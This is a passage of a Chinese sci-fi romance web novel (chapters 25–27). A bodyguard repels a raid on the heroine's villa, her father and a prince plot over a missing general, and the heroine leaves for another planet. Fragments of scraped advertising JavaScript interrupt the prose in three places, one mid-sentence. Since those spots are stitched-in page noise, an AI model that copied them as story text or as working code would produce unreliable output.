就是感觉怪怪的,小姑怪怪的,阿一哥哥也怪怪的。 吃完晚饭,谢骁跟在一号身边蹿进他的房间。 一号看了他一眼,“找我有什么事?” “没事。”谢骁自来熟地坐在他的沙发上,沙发有点高,他坐在上边脚不沾地,有些不自在地晃了晃。 他瞅着一号的脸色,小心翼翼地问:“阿一哥哥,你和我小姑吵架啦?” “没有。” “哦。”谢骁松了口气,没吵架就好,要是吵架了...... 他就得想办法先把阿一哥哥哄好,然后让他去和小姑道歉! “阿一哥哥,你是不开心吗?” 一号在他对面坐下,闻言想了想,点头,“嗯。” 谢骁把手撑在沙发上,上半身尽量靠近他,认真地问:“那我怎么做才能让你开心点呢?” 一号顿了顿,“你小姑有未婚夫。” “对呀!小姑的未婚夫是秦宥上将,他是一个很厉害很厉害的人!” 谢骁兴致勃勃地说完,抬眼看见一号面无表情,声音顿时低了下来,“嗯,阿一哥哥也很厉害!” 一号没有在意这些,他更在意的是自己要问的东西,“你小姑喜欢他吗?” “嗯......”谢骁哪里知道,他摸了摸自己的后脑勺,小声道,“我不知道。” 25. 动武 一号沉默下来。 谢骁懵懂地感觉到自己摸到了他不开心的原因,但又不知道确切的是什么,也只能不再说话。 只是他心里着急啊!原本打算喊阿一哥哥一起去哄小姑的,没想到阿一哥哥也不高兴! 不把人哄好就走,会不会有点不太好啊......谢骁皱着眉,颇为苦恼地想。 还没等他想多久,一号倏地起身。 他听觉灵敏,几乎是有人闯进别墅的时候就感觉到了。 很快,楼下传来李叔的怒喝声,紧接着是打斗声。 他抱起谢骁冲出门,正好碰见急忙往楼下赶的谢烟雨,又拉过人护在身后,“别着急,我在。” 谢烟雨脸上皆是冷意,看见他才缓和些许,把谢骁拉至身旁,跟在一号身后一起下去。 谢烟雨住的类属于别墅小区,户与户距离甚远,谢父派来的人控制着,没弄出什么吸引人的大动静。 为首的满脸皱纹,嘴角到右眼眉骨的位置有一道深嵌皮肉的狰狞疤痕。 他拄着拐杖,冷眼看着眼前混乱的场面,好一会冲不远处脸色发青的李叔笑道:“这帮年轻人许久没有松快松快了,看,一有机会就来劲了。” 他说的年轻人都是一帮穿着黑衣服的大块头,一拳下去能砸哭两个人的那种。 很明显,这帮人不管在人数上还是在实力上,都占据了上风。 一楼的东西被砸了个稀巴烂,在场的佣人吓得魂飞魄散,全躲在了李叔身后。 那些保镖被打得直喘粗气,双眼发红,满是不甘。 没想到谢父会派这么多人过来,李叔攥着拳,让佣人全部到后院躲着别出来,抬手让正在搏斗的保镖们撤回来。 等最后一个保镖也站在了身后,他才冷声问:“你们到底想干什么?” “我们想干什么?”疤痕男笑了一声,“我们什么都不想干,只要小姐乖乖听话,我们自然立刻走人。” 李叔正想说什么,一个相框气势汹汹地从天而降,尖锐的边角直冲疤痕男的门面。 疤痕男脸色微变,闪身躲过,抬起头看过去。 一个长发红眸的男子站在楼梯口,脸色冷峻,紧盯过来的目光皆是冷意。 疤痕男眯了眯眼,“想必这位就是两位女官口中的贴身保镖了吧?” 谢烟雨站在二楼栏杆旁,闻言垂眸,看向已经下到一楼的一号。 一号没有说话,他扫了眼四周,眉头瞬间蹙起,“都是你干的?” 方才还好好的客厅被砸得乱七八糟,甚至染上了零星血迹。 一号动了动鼻子,血腥味明显,楼上的谢烟雨已经皱起了眉。 他目光一沉,出其不意地闪身,踹飞了正要开口的疤痕男。 疤痕男摔在被自己带来的人砸坏的门板上,不可置信地看着一号,这速度也太快了! 他眼底泛起兴味,拒绝了大块头搀自己起来的动作,自个爬了起来,饶有兴致地道:“你很不错,愿不愿意跟着我?” 一号看过去,这次将他踹出了门外。 他二话不说就动手,还连着两次,守在一旁的大块头们互相看看,也开始动手。 一号以一敌多,被包围在人群中,谢烟雨几乎看不清他的身影。 好在李叔反应过来,立刻带着保镖们上前帮忙。 有了一号,原本占据上风的大块头们被打得节节退败,招架不住。 疤痕男从地上爬起回来后,开始还兴致勃勃地看着,后来大块头躺得越来越多,他的脸色就沉了下来。 他这次来的目的就是把这个贴身保镖弄走,并留下一定的人协助两位女官教育谢烟雨。 没想到出师不利啊,他目光阴沉地盯着一号,又看向二楼的谢烟雨。 视线下移,他和小心翼翼探出头的谢骁对上目光,后者一愣,立刻缩回谢烟雨身后。 尽管他动作很快,但疤痕男仍旧看清了他的脸,宛如缩小版的谢林臣。 原来谢林臣离开谢家后,谢烟雨没有听话地不跟他来往,反而悄悄跟他联系,更是把他的孩子带在身边。 疤痕男扯了扯嘴角,扫了眼战况,拐杖一柱,一步一步地来到楼梯口,准备上楼。 正当他要上楼的时候,一把匕首擦着他的脸嵌进楼梯里。 他回头,对上一号嗜血的瞳孔,几不可察地顿了顿。 他停住脚步,抬头望向谢烟雨,“小姐,您毕竟是谢家的人,确定要违背先生的命令吗?” 谢烟雨面无表情地看他,“比起我,你更像是谢家的人。” 一样唯利是图,一样喜欢威胁人。 疤痕男朗声道:“多谢小姐赞扬。” 谢烟雨扯了扯嘴角,不再看他。 楼下胜负已分,一号将最后一个大块头踹出门外后,转头看向疤痕男。 疤痕男笑了笑,“不必劳烦阁下,我自己走。” 自己走是不可能的了,一号将他拽过来踹出去。 有个眼尖的立刻关门落锁,一气呵成,成功得到了一号的一个眼神,他骄傲地挺直了胸膛。 方才打群架,一号凶狠的模样深入人心。 大块头们自然被捶得瑟瑟发抖,他们却是满眼崇拜。 小姐这么多年从来没有指定过人当贴身保镖,没想到被一个外来的人抢了位置,他们心里其实很不服气,就算知道李叔和他交过手还输了也很不爽。 今天这一场,算是让他们从心底开始服气,毕竟人家一打多都游刃有余,而他们一帮人都打不过别人。 一楼沉寂下来,谢烟雨说了几句安抚的话,又给大家请来医生,才和李叔一起到后院安抚那些吓坏了的佣人。 一号留在原地,他也受了点小伤。 他看着谢烟雨离开的背影,有些好奇和忐忑,传承记忆告诉他,在喜欢的人面前展示自己的勇猛会获得好感。 不知道,她会不会喜欢? 他沉默时一贯面无表情,只有那双眸子亮得惊人,旁人看见以为他还沉浸在刚刚的搏斗中,也不觉着奇怪。 就是有人心里痒痒的,想上前跟他请教请教,但见状也不敢轻举妄动。 ...... 疤痕男带着一帮人灰溜溜地回了谢家。 谢父没有睡,他正在书房等着疤痕男回来汇报。 等的人来是来了,就是脸色一般,“先生。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 谢父往他身后看了看,眉头皱起,“让你带回来的人呢?” 疤痕男沉默一瞬,小声道:“没带回来。” 谢父掀起眼皮看他。 他压下心底的哆嗦,腰更弯了些,“他有点厉害,带过去的人都受伤了。” 谢父做什么事从来没有不顺心过,唯二两次不顺心都在儿女身上,上次事谢林臣,这次是谢烟雨。 他冷哼一声,手重重地拍在桌子上,震得疤痕男抖了抖身子,“都受伤了?没打过人家?” “......是、是。”疤痕男的头几乎要弯到□□了。 碰—— 一沓文件砸在了他身上,又滚落在地。 疤痕男头也不敢抬,直接跪了下来,“先生息怒。” 谢父站起身,气得面皮颤抖,“好、好!怪不得敢跟我叫板,原来是得了这么个帮手!” 他看向疤痕男,“去查!把人给我查得清清楚楚!” “是!”疤痕男立刻起身出去了。 因为这事,谢父一整晚都没有睡好,第二天精神萎靡地去内阁,还遇到了最不对付的人。 跟他拉扯完正要去处理公务,又被二皇子叫走。 谢父跟着二皇子的随从官往皇宫深处走,内心不断猜测二皇子是为了什么喊自己。 正要小心地问一下前边的随从官,就见他突然停下脚步,朝前边行了一礼,“见过三公主,问三公主安。” 坐在花丛秋千上的少女受了惊,往后缩了缩,没有回答,跳下秋千,快步离开了原地。 随从官习以为常地直起身子,带着谢父继续往前。 谢父看了眼传说中的三公主,就收回视线,凑到随从官身边,“请问阁下,殿下今日心情如何啊?” 随从官看了他一眼,并不回答,“大人见着二皇子自然就知道了。” 见到那会没有时间提前反应了! 谢父跟人打着太极,确认他死活不说后闭了嘴。 两人走了一路,到二皇子寝宫里的书房时,谢父已经出了一层薄汗。 随从官敲门,“殿下,谢大人到了。” “进来。” 随从官打开门,对谢父做了个请的动作,“大人,进去吧。” 谢父进去给二皇子行了礼,后者笑着道:“谢大人不必多礼,坐吧。” “多谢殿下。”谢父坐在椅子上,表面四平八稳,实则屁股只有半边挨了椅子。 他虽然算得上是二皇子的人,但单独相处的机会真的不多。 二皇子:“谢大人,秦上将失踪已有半月,外面......你对这件事怎么看?” 谢父看了他一眼,后者没有看他,正在摆弄面前的文件,看起来就是随意一问。 但谢父发现了他是不是瞥来的余光,这是在意他回答的信号。 他该怎么回答? 听说秦宥一直是二皇子的左膀右臂,谢父正要说话,猛地想到了自己要把谢烟雨介绍给二皇子时他回的消息。 谢父道:“人总是会变的,无论是谁,都会随着时间的流逝变得面目全非。” 他说:“能保持初心的人太少了。” 26. 送礼 二皇子闻言,眉头挑起,看向他,“哦?谢大人的意思是说,那些谣言都是真的了?” “在下不敢。”谢父连忙道,“不过是一些感慨罢了。毕竟秦上将还没找到,也没有任何证据,事实如何我们谁也不知道。” 他偷偷抬头看了眼二皇子,后者扯了扯嘴角,露出一抹似笑非笑的笑容来,“谢大人伶牙俐齿啊。” “不敢不敢。”谢父连忙低下头,心里思索着二皇子这是个什么意思,完全看不出来到底是不是在乎秦宥啊。 二皇子也不是眼瞎,他看出来谢父只是在看他眼色答话,见风使舵的人,他变成二皇子后见多了。 二皇子心底嗤笑一声,不过这种人最好拿捏,只要给够了利益,什么腌臜事也愿意干。 正好上次干的事有个尾没有收干净,他心里这么想着,脸上却露出一抹担忧,“本殿下最近接到消息,木穹星那边有人见过秦宥。” “此事重大,本殿下左思右想,觉得还是交给你,毕竟你不仅是本殿下看好的人,还是秦宥未来的岳父,想来是会好好护着他的。” 谢父立马道:“自然,这事交给我办,殿下您就放心吧。” 不管二皇子是不是护着秦宥的,只要他把人送回来就行了,到时候是死是活,和他都没有关系。 “既然如此,你此刻前往木穹星,接回见过秦宥的那个人。” “是!” 谢父弯着腰退了下去,关门时悄悄抬起头往里看了眼,二皇子点开了光脑,正皱着眉看一个长发男人的照片。 为了不被发现异样,谢父一扫而过,很快就把门关上,心里却有点奇怪,总感觉照片上的那个男人有点眼熟。 等他坐上星舰,穿梭在宇宙间时,才猛然想起,那个男人不就是谢烟雨的贴身保镖吗!? 他立即给二皇子发消息,不过在星舰上信号不稳定,他的消息转了两圈也没能成功发出去。 另一边,谢烟雨自从昨天晚上谢父派人过来之后就一直没睡着,熬了一夜,脸上的疲惫愈发明显。 这次派人不成功,下次就不一定了,还是要早点把秦宥的任务进度提上去,或者直接跑路。 谢烟雨思考着两者正准备择其一时,苏铭给她发了消息,说是二皇子那边盯着的人传回消息,曾在木穹星发现秦宥的踪迹。 真是瞌睡了有人送枕头,谢烟雨立即回复,很快得到了苏铭的回答。 由于坑杀士兵的谣言未破,提前暴露秦宥位置恐有伤害,苏铭打算让第三军团的人去找。 他安插进去的人作为副官,是这次寻人活动的主事人。 此外,苏铭还告诉她,二皇子盯上了她的贴身保镖,正在秘密下令搜查一号。 谢烟雨得了两个重要消息,虽然有些奇怪苏铭怎么什么都愿意跟她说,但也没什么时间深思。 她立刻着人安排,准备亲自去一趟木穹星。 不过再怎么快也得是晚上的事了,她现在正在去往陆家的路上,要去给陆安然送生日礼物。 一号曾经刺杀过二皇子,而这次宴会二皇子也会出席,谢烟雨就没让他陪着,而是挑了两个保镖。 这两个保镖是昨天晚上事件中没有受伤的两个,本来能跟着外出还挺高兴的,临走前被一号凉飕飕地看了眼,又多了点害怕。 高兴还是高兴,但怕也是真的怕。自从昨天发现他们不是很厉害之后,一号就制订了针对性的训练计划。 他们练了半个上午已经感觉没了半条命,又还抢了贴身保镖的位置,晚上回去指定给针对! 不过,那都是晚上的事了,跟现在的他们没有关系!这么一想,刚刚感受到的害怕又被抛到了脑后。 谢烟雨不知道他们在想什么,带着人进了宴会厅就去寻陆安然。 陆安然今天是主角,周边围了很多人,她插不进去,就找了个安静的地方给她发消息。 正在人群中的陆安然说着话呢,手腕上的光脑突然轻震了一下,她扫了眼,眼睛微亮,把跟前的人三言两语打发走,避着人快步离开。 她穿过长长的走廊,才在外院角落的花丛中找到谢烟雨。 “你怎么知道这有块清净地方的?”她人还没到,惊喜中夹杂着诧异的声音先传了过来。 谢烟雨正在看这些开了败败了开的花,闻言转身,看清她脸上的松快之意后笑了下,“以前来过。” 她和秦宥的订婚宴就在这里办的,当时秦宥说完场面话,就带她过来这里坐着,一直到宴会结束。 陆安然就随口一问,得到了回答便转移了话题,“多谢你能来。” 她和谢烟雨并肩站着,顺着她的目光看向迎风飘扬的花骨朵。 都是不知道从哪弄来的品种,长得很高,大概到她的腰部,一眼望去,像是花海,很漂亮,还散发着清香,让她松懈几分。 自从她和二皇子要订婚的事传出去后,陆家每天来的人都很多,她应付来应付去,不仅嘴说干了,脸也笑烂了。 谢烟雨这人对她没什么心眼,相处起来比较舒服。 说实话,看见她消息的那一刻,陆安然甚至是庆幸的,她终于有个借口离开那些人的包围圈了。 谢烟雨听懂了她的潜意思,有些迟疑,“你真的和二皇子订婚了?” 秦宥的事,二皇子就算不是幕后主使也绝对插了一脚。 先前秦宥对他一直忠心耿耿,结果他地位稳了之后反手就是背刺,这种人,谢烟雨有些害怕陆安然接下来的日子不安稳。 听到这话,陆安然神色晦暗一瞬,很快笑道:“或许吧,我目前也没有什么办法,只能走一步看一步了。” 说完看见谢烟雨的目光暗含担忧,她又笑着伸手拍了拍她的肩膀,“或许还没那么糟糕,或许……他是个好人?” 二皇子是不是个好人陆安然确实不清楚,但她很清楚,二皇子不像他表现得那么温和,甚至脾气暴躁。 谢烟雨动了动眉梢,“……” “说来说去还没说你给我带了什么礼物呢!”陆安然嘿了一声。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>谢烟雨见她不想再说二皇子,也没再说下去,等秦宥回来,真相大白之时,这桩还没完全确定的婚事说不准就消失了。 她收敛心思,冲远远站着的两位保镖比了个手势,后者立马小跑上前,把手里的东西递给陆安然,“这是我们小姐为陆小姐准备的生辰礼物。” 陆安然看见那一大束玫瑰就眼前一亮,接过之后发现果然是没有去掉刺的又笑了下,“还是你了解我的喜好啊。” 看那狗皇子送的什么狗屎,送花送一支就算了,还是蔫蔫的看起来快死了的那种! 她用空着的手接过另一名保镖手里的礼盒,问谢烟雨:“能打开吗?” “当然可以。” 陆安然打开,发现是一条星球形状的项链,星球雕得有些大,显得有些厚实,但不影响它的漂亮。 “帮我戴上。”陆安然把盒子递给谢烟雨,伸手将自己带的珠宝拆下来,对有些愣住的谢烟雨笑着说,“快啊。” 谢烟雨便上前,一边给她戴项链,一边低声说,“想了许久不知道送你什么好,倒是以前听你说喜欢到处游玩,所以就送了这个。” 陆安然还没听明白她这话是什么意思,就感觉谢烟雨微凉的手搭在了她的后脖颈,人也似乎凑近了几分。 谢烟雨看似在给她扣上链条,实则压低了声音说,“项链中间有个按键,是……” “谁!” 谢烟雨还没说完,她跟前的两名保镖就突然转身,紧紧盯着花丛深处。 谢烟雨快速把项链戴好,从陆安然身后走出来,“怎么了?” “前面有人。”保镖护在两人身前,脸色警惕,身体前倾,呈现紧绷的攻击状态,万一有危险,他们能第一时间拦截。 陆安然还在听谢烟雨说话呢,只听到什么按键就被打断,闻言顺着保镖的视线看过去,就见花丛中的人哆嗦起来,连带着那些花也开始哆嗦。 “什么人!还不快出来!”两名保镖对视一眼,一个护在谢烟雨和陆安然身前说话,另一个屏息,放轻脚步慢慢靠近。 花丛中的人抖得更厉害了,有几朵花的花瓣都被抖了下来。 保镖小心靠近,距离拉近后大步一迈,伸手拨开花朵,露出里面的人。 那人乍见到人,受惊般一缩,正要跑,听见了一道熟悉的声音,“袅袅?” 徐袅猛地停下脚步,回头一看,眼睛微亮,转身就想靠近陆安然,瞅见保镖后又顿住,怯怯地站在原地。 见两人认识,谢烟雨让保镖回来,陆安然也快步上前,牵住徐袅的手,“袅袅,你怎么在这里?你身边那些人呢?” 徐袅见不认识的人走开后,松了一大口气,乖乖地被牵着,等陆安然又问了一遍,才反应过来似的回答: “你,生辰,我,礼物。” 她比划着,张开自己脏兮兮的手,里面是被帕子包裹得好好的展翅欲飞的水晶老鹰雕塑。 雕塑栩栩如生,在暖阳下泛着剔透的光,仿佛是真的活物,下一刻便要展翅高飞一般。 27. 系统 陆安然一下就顿住了。 她怔怔地看着这个小而精致的雕塑,半晌才道:“怎么……你……跑出来就是给我送礼物?” 徐袅点了点头,把水晶老鹰雕塑往前递。 陆安然接过,正要道谢,垂眸时却看见她被帕子掩盖的手满是伤痕,顿时皱眉,“怎么弄得?” 徐袅摇头。 陆安然再问她也是摇头,只能掠过这个话题,拉着她走到谢烟雨面前,介绍道:“袅袅,这是我的好朋友,谢烟雨。” 徐袅的眼睛动了动,看向谢烟雨,看了好一会,才露出个笑的模样点了点头。 谢烟雨也笑着冲她点头,然后看向陆安然。 陆安然站在徐袅身后,指了指脑袋,摇头,又用嘴型道:三公主。 谢烟雨明白了,这是养在皇宫的传说中脑子不太灵光的三公主。 从见面到现在,三公主的行为和言语看起来确实不太聪明,但方才她看自己的眼神有点奇怪。 谢烟雨正想着,面前的三公主突然指着她说:“皇宫,像你的人,老。” 她挑眉,陆安然帮忙解释道:“她说皇宫里来了个像你的人。” 徐袅点头,补充,“男,二。” 谢烟雨再次看向陆安然,后者猜测,“是个男的,去找了二皇子。” 徐袅点头,转头看向陆安然,眼里流露出纯粹的欣喜,像是在高兴她听懂了自己的话。 男的,像她,老? 不就是谢父。 谢父去找了二皇子。 虽然谢父间接站在了二皇子身后,但两人还从未有过私底下的接触,现在光明正大地接触,是谢父已经计算好了未来,还是二皇子不得不找他? 谢烟雨想到了谢父说的让她去接触二皇子的话,皱起眉,或许两者都有? 徐袅看了她一眼,眼底闪过什么,又道:“木......星。” 陆安然不明所以:“木星?” 谢烟雨抬起头,与徐袅的视线相碰在半空中,脑子里的某根弦被拨动了,瞳孔微缩,“木穹星。” 徐袅点头,眼神亮亮的,似乎也在高兴她猜了出来。 二皇子和谢父见面是在说木穹星的事! 谢烟雨想到了某种可能,眼前一亮,下意识地想去验证。 她先对徐袅说了谢谢,后者害羞地躲在陆安然的后边,怎么都不肯出来。 谢烟雨赶时间,也就没有在意,想着下次见面给她送点东西,“安然,我想告诉你一件事。” 她神色一般,陆安然猜测应该不是什么好事情,联想到她刚来时问自己的二皇子的事,心里顿时有了猜测。 等谢烟雨把谢父想要让自己和二皇子见面,并且二皇子没有拒绝的事告诉她后,她本就悬在半空的中的心顿时掉了下来。 摔得很疼,但有一种果然如此的尘埃落定的感觉。 她闭了闭眼,弯眸勾起一抹笑,拍了拍谢烟雨的肩膀,“多谢你告诉我。” 比起知道真相时的难过,她更不想被人蒙在鼓里一辈子。 “安然,你要是需要帮忙可以联系我。”谢烟雨把保镖喊过来,对陆安然说完这句话转身离开。 她走得很快,一下就消失在花丛中。 陆安然有些奇怪地皱了皱眉,平日里谢烟雨因为身体不好,走得很慢,今天怎么走这么快? 她没有深想,拉起身边的徐袅,“袅袅,我带你去二楼休息一下,等会再送你回去。” 徐袅乖乖点头。 两人回到宴会厅,穿过人群,来到二楼,陆安然把徐袅推进自己的休息室,正要关门,突然听见身后有人喊,“安然?” 陆安然关好门回头,有些惊喜地喊,“哥!” 喊她的是刚从军团赶来的陆安墨,看见她惊喜的表情后也笑开了,伸手接住飞扑过来的妹妹,装似无意道:“怎么来二楼了?” “我有个朋友不舒服,带她上来休息。”陆安然一笔带过,三公主偷偷出宫的事可不能乱说。 她转移话题,“你怎么在这里?不是说回不来嘛?” “你的生日,我再忙也得回来啊。”陆安墨扫了眼房间号,拉着她一块离开,“刚换完衣服就看见你了,正好,一块下去吧。” “哥……”陆安然舔了舔唇,将人拉到一个隐蔽的拐角,“我想跟你说件事。” 她心里还想着谢烟雨跟她说的那件事,结合她自己观察到的,心里的不甘和跃跃欲试愈发浓烈。 陆安墨眯了眯眼,不动声色道:“好啊。” …… 谢烟雨出了宴会厅直奔自己的悬浮车,上了车联系李叔,“派人去谢家看看谢父是不是离开了。” 如果谢父真的被二皇子派去木穹星,那她也不用晚上偷摸着出发了,不过这事还得跟苏铭说一声。 她是想找到秦宥,但也不想死。 把推测和出发的时间告诉苏铭后,退出一看,李叔已经回了消息,【好的,小姐。】 过了会,他又道:【小姐,骁少爷的父亲来了。】 李叔不喜欢喊谢家人的名字,就算谢林臣和谢烟雨关系不算坏,他也时常用别的代替。 不过他对谢骁倒是不太一样。 谢烟雨很有自知之明,觉得应该是自己的态度直接影响了他。 谢骁是个懂事的乖小孩,谢家的那些乱七八糟的东西跟他没有什么关系, 就算没有任务,谢烟雨也不介意和谢骁相处,何况是李叔这种比她还心软几分的人。 谢烟雨回:【我马上回来。】 谢林臣怎么突然回来了? 谢烟雨回完消息划拉了下联系人列表,发现最近太多消息,把谢林臣的消息都压在了下面。 原来他前几天就发了消息说今天会回来,是她没看见。 谢烟雨难得有些心虚,发了个表情表示自己已经知道后退出去看苏铭的消息。 可能是在忙着安排人去找秦宥,苏铭还没有回消息,谢烟雨退出去查询今天去木穹星的星舰有哪些。 回到家时,气氛有点奇怪,谢烟雨感觉出来了但是没怎么在意,她直奔二楼,据说谢林臣正在谢骁的房间休息。 到了二楼,说是在休息的人并没有休息,而是皱着眉,和一号站在走廊,不知道在说些什么。 一看到谢烟雨,一号眼底的冷意便收了起来,他扫了眼谢林臣,抬脚走到谢烟雨跟前,“你回来了。” “嗯。”谢烟雨冲他笑了下,侧头看了眼谢林臣,他还是站着,背对着她的姿势,她便问一号,“你们刚刚在说什么?” “没说什么。” “哦……” 她尾音还没落下,一号继续说。 “他问我为什么要住在你对面。” 谢烟雨顿了顿,“那你怎么说?” 一号垂眸看她,宛如红色宝石一般的双眼弯了一下,“我说,是你……” “谢烟雨。” 他话还没说完,不知何时转过身的谢林臣喊了一声。 他的余光掠过一号,抬手推了推眼镜,借这个动作遮盖住眼底一闪而过的情绪。 一号眸光微闪,走几步站在谢烟雨身旁,跟她并肩一起看向谢林臣。 谢林臣皱了皱眉,大步走过去,“这几日麻烦你了,今晚我便可以把谢骁接走。” 谢烟雨看了他一眼,“你跟谢骁说了吗?” 谢林臣:“还没,可能要打扰你到下午了。” “嗯。”谢烟雨不知道说什么,“中午……” “中午我得出去一趟,就不必劳烦了。” 谢林臣嘴角勾起一抹标准的微笑,正要说什么,就见谢烟雨冲他点了点头,“那你自便吧。” 接着,谢烟雨转身离开。 一号等她走了一段路之后才开始动,临走前,他扫了眼不明所以的谢林臣,心底嗤笑。 亏得这个人刚刚还以谢烟雨大哥的身份质问他,结果到了谢烟雨面前居然是这么个模样。 一号觉得他挺神奇的。 他大步追上谢烟雨,一边跟她说话一边往下走。 谢林臣站在原地好一会,抬手摘下眼镜,揉了揉鼻梁,俊美的脸上露出几分疲态。 暖色的灯光洒在他身上,照得他头上潜藏的几根白发无处遁形。 短短十几天,他仿佛苍老了许多。 可惜谢烟雨走得快,并没有看见这一幕,不过就算看见了,想问也会被谢林臣想法子挡回去。 这件事,他并不希望谢烟雨参与。 他缓了会,下楼离开。 谢烟雨坐在后花园里,遥遥看见他上了悬浮车,一刻也没停留地离开。 她垂了垂眸,看向对面安静坐着,只是一直在看她的一号,“人安排好了吗?” “安排好了。” 谢烟雨点点头,本来她还在忧心谢骁,没想到谢林臣刚好回来了,既然如此,她也没有什么后顾之忧了。 谢烟雨悄无声息地点开虚拟屏幕,属于谢骁一栏的任务已经上涨到了59%,就差最后一点便能突破60。 而秦宥一栏的任务也在她决定前往木穹星时上涨了百分之五,现在已经到了10%。 还是不高,但总算有了起伏。 谢烟雨有预感,有关秦宥任务的转机,就在木穹星。 下午谢骁放学,听闻谢林臣要把他接走,顿时晴天霹雳,抱着谢烟雨的腿不肯放,“我还想在小姑这里多住两天!” 谢烟雨摸了摸他的头,看向谢林臣。 谢林臣神色不变,“谢骁。” 他喊了大名。 谢骁嘴巴一撅,不太情愿地放开了手。 谢林臣很少喊他大名,但一般喊了大名,就是他不能任性的时候了。 谢骁被迫接受了这个决定,他委屈地蹭了蹭谢烟雨,磨蹭着走到谢林臣身后。 谢林臣冲谢烟雨点点头,带着谢骁出门。 李叔看了眼他们的背影,又看了眼谢烟雨,一拍大腿,哎呀一声,“给骁少爷买的小蛋糕还没吃呢!” 谢烟雨看了过去。 李叔没看她,急急忙忙地拿了就往外走,“小姐,我去送。” 谢烟雨嗯了一声。 李叔拎着小蛋糕大步离开,他走得很快,手里的小蛋糕却始终平稳,没有受到一点颠簸。 他喊住谢林臣两父子的时候,他们已经坐上悬浮车准备离开。 听见李叔的声音,谢骁眼前一亮,蹭蹭蹭地跑过去,“李爷爷,小姑是不是……” “骁少爷。”李叔打断他的话,把小蛋糕递给他,“这是小姐给你买的小蛋糕,你还没来得及吃。” 谢骁脸上的笑少了点,但还是笑着接过,“谢谢李爷爷,麻烦李爷爷帮我谢谢小姑。” “唉,这事李爷爷可帮不了你。” 李叔提高了音量,意有所指,“有什么话啊,还是当面跟要说的人说,不然错过了机会,说不得就再也没有机会了。” 谢骁愣了下,下意识看向自己的爸爸,再回头看李叔时,李叔笑着道:“骁少爷,再见了。” 谢烟雨凭一己之力叛离谢家,已经惹怒了谢父,虽然他还没腾出手派人过来,但等他回来这事肯定不会善了。 加上谢烟雨还要帮秦宥,根据他查到的那些东西,他基本可以断定二皇子就是幕后黑手,又是谢父又是二皇子,秦宥当真活着那还好,要是…… 说不定,这就是两兄妹最后一次见面了。 李叔知道谢烟雨,她心里对谢林臣是想要靠近的,谢林臣的态度他捉摸不透,但总体上看不错,也存几分爱护之意。 若是可以,他希望谢林臣能多跟他家小姐说说话,以家人的角度,但看来不可能了。 李叔看了眼一直坐着没有挪动的谢林臣,心里轻叹一口气,冲谢骁挥了挥手,看着他们的悬浮车消失在眼前。 他们走后,谢烟雨和一号也出发了,其余人分散着离开,并不明目张胆地跟在她后面。 李叔留下来,有什么动静可以随时告诉谢烟雨。 星舰出发的时候,谢烟雨才切实松了口气。 这是她长这么大,甚至是两辈子以来第一次前往别的星球,就算不为任务,她也有些兴奋。 得了空的她终于能看一看光脑了,苏铭回了消息,对于谢烟雨的决定,他有一瞬间的茫然,【你要去木穹星?找秦宥?】 过了会,他又道:【木穹星和克拉星并列为帝国南边最低级的星球,地荒人稀,有异种出没,小心。】 异种是变异的人类,利用四肢爬行,面目扭曲,喜食生肉。 苏铭没有对谢烟雨的行为产生质疑,毕竟两人交集不多,何况一个成年人,就得为自己的行为的负责。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >谢烟雨既然已经做了决定,想必也有了承担后果的勇气。 苏铭坐在办公室的椅子上,抬眼看向窗外西落的太阳,已经橙红一片的天空耀眼热烈。 他看了半晌,甚至能感受到那种灼热的烫意才挪开目光。 他不由得想,当初秦宥告诉他,谢烟雨喜欢陆安墨的事,到底是真是假。 正巧有人敲门,他顺势收敛想法,抬眼看向门口,“进来。” 蓉萱推门进去后反手锁好门,“听说你动用了第三军团的副官,有消息了?” “嗯。”苏铭并未隐瞒,用的都是第三军团的人,他想瞒也瞒不了。 何况敢用第三军团的人,他就对蓉萱有了基础的信任,两人现在至少是合作关系。 蓉萱走到窗边,双手搭在窗台上,沐浴在落日余晖下,轻声说:“希望能有个好消息。” “对了。”她回过头,“你刚刚看我的眼神有些古怪,想说什么?” 她开门进来那一刻,苏铭的欲言又止让她好奇。 “嗯……你和陆安墨认识多久了?” “认识?”蓉萱眯了眯眼,“二十几年了。” 二十几年,苏铭有些吃惊,从小就认识?但据他所知,蓉萱是从低级星球爬上来的,陆安墨一个高官的孩子,怎么跟人认识的? 他心里存疑,但没有多问,“那你知道有什么人在追他吗?” “追他的人多了,你要问的是……”蓉萱话音一顿,视线挪到苏铭身上,眼神有些吃惊,“你……对他……” “什么?” 苏铭反应过来,差点没压住爆粗口,他把秦宥说的话简略地跟蓉萱说了一遍。 蓉萱听完,道:“谢烟雨不可能喜欢安墨。” 她见过谢烟雨,人家看见陆安墨时一点反应也没有,还没看她的反应大,怎么可能喜欢陆安墨。 “秦宥跟她订婚这么久,就没有问过?” 苏铭心中嗤笑,问?那傻子自己给自己怄死了也不敢问一个字。 蓉萱呵了一声,“怪不得每次开会,他看向第三军团的目光都奇奇怪怪。” …… 宴会结束后,陆安然把徐袅悄咪咪地送回皇宫,嘱咐她,“要是侍女问你去了哪里,你就说在阁楼上睡觉,知道吗?” 徐袅的寝宫上有一间狭小的阁楼,她带陆安然上去看过,那里杂物很多,乍一看的话确实找不到人。 徐袅点点头,抓着她的手用了几分力,“二,坏,不要。” 陆安然顿了顿,嘴角牵起一抹笑,“好,我知道了,我不会和二皇子订婚的。” 徐袅眼睛一亮,高兴得拍了拍手。 看着她离开后,陆安然转身上了悬浮车,对司机说:“去我哥那。” 悬浮车启动,掀起微尘,很快消失在夜色之中。 徐袅从阴暗处出来,看着她离开的方向好一会,才转身往寝宫走。 她去的方向不是自己的寝宫,而是二皇子的寝宫。 长裙摆碍事,走了两步,她蹲下身将裙摆撕开至膝盖上方,随后直起身加快了步伐。 借着夜色的遮掩,她躲开暗哨和盯二皇子的人,潜进阳台,蹲在角落,熟练地撬开锁,滚进房间躲好。 等了好一会,外面才传来脚步声。 随从官急急忙忙打开门,让脸色发青的二皇子进去,又轻声关上门。 谢父的信息转了很久的圈,终于晃悠着发送到了二皇子的光脑上。 得知刺杀自己的人就放在谢烟雨家里,他差点捏碎了光脑,劈头盖脸地骂了一顿谢父后,他气冲冲地派人去谢烟雨家。 结果谢烟雨家根本没有这个人! 谢父不可能骗他,二皇子又来人去查,却发现谢烟雨已经带着人离开了! 